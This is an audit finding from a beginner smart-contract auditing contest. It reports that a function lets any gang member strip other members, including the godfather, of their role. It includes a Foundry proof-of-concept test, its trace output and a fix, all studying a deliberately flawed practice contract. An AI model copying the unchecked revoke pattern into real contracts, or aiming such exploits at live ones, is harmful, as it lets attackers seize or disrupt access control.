First Flight #16: Mafia Takedown
First Flight #16
Beginner FriendlyDeFiFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

[H-1] Malicious gangmember can remove the `gangmember` role of other gangmembers, including the `godfather`'s address `gangmember` role.

Keyword

Description: The Laundrette::quitTheGang function can be called by anyone and it remove the gangmember role of the account. A malicious gangmember can call this function to remove the gangmember role of other gangmembers, including the removel of the gangmember role for the godfather address.

Impact: A gangmember can go rogue and remove all his partners in crime from the gang.

Proof of Concepts: Put the code below in the Laundrette.t.sol file

PoC - click the arrow below
// change imports
import { Kernel, Policy, Permissions, Keycode, Role, Actions } from "src/Kernel.sol";
​
function test_quitTheGangGodfather() public {
vm.prank(kernel.admin());
kernel.grantRole(Role.wrap("gangmember"), godFather);
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address michael = makeAddr("michael");
vm.startPrank(godFather);
laundrette.addToTheGang(address(alice));
laundrette.addToTheGang(address(bob));
laundrette.addToTheGang(address(michael));
vm.stopPrank();
vm.startPrank(alice);
laundrette.quitTheGang(godFather);
laundrette.quitTheGang(bob);
laundrette.quitTheGang(michael);
vm.stopPrank();
assertNotEq(kernel.hasRole(address(godFather), Role.wrap("gangmember")), true);
assertNotEq(kernel.hasRole(address(bob), Role.wrap("gangmember")), true);
assertNotEq(kernel.hasRole(address(michael), Role.wrap("gangmember")), true);
}

Test output

├─ [707] Kernel::hasRole(God Father: [0xe166Ae83c3384a19498Ae0674706988DD2797489], 0x67616e676d656d62657200000000000000000000000000000000000000000000) [staticcall]
│ └─ ← [Return] false
├─ [0] VM::assertNotEq(false, true) [staticcall]
│ └─ ← [Return]
├─ [707] Kernel::hasRole(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], 0x67616e676d656d62657200000000000000000000000000000000000000000000) [staticcall]
│ └─ ← [Return] false
├─ [0] VM::assertNotEq(false, true) [staticcall]
│ └─ ← [Return]
├─ [707] Kernel::hasRole(michael: [0x45c8b98893D082f913896Eeca50AB00Db225298d], 0x67616e676d656d62657200000000000000000000000000000000000000000000) [staticcall]
│ └─ ← [Return] false
├─ [0] VM::assertNotEq(false, true) [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.96ms (647.04µs CPU time)

Recommended mitigation: Use the isGodFather modifier on the quitTheGang function to make it permissioned or add a check that enforces that a gang member can only remove his own gangmember role.

function quitTheGang(address account) external onlyRole("gangmember") {
+ require(account == msg.sender, "Not so fast, traitor! You can only quit your own membership.");
kernel.revokeRole(Role.wrap("gangmember"), account);
}
​
Updates

Lead Judging Commences

n0kto Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Gang members ban other members

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.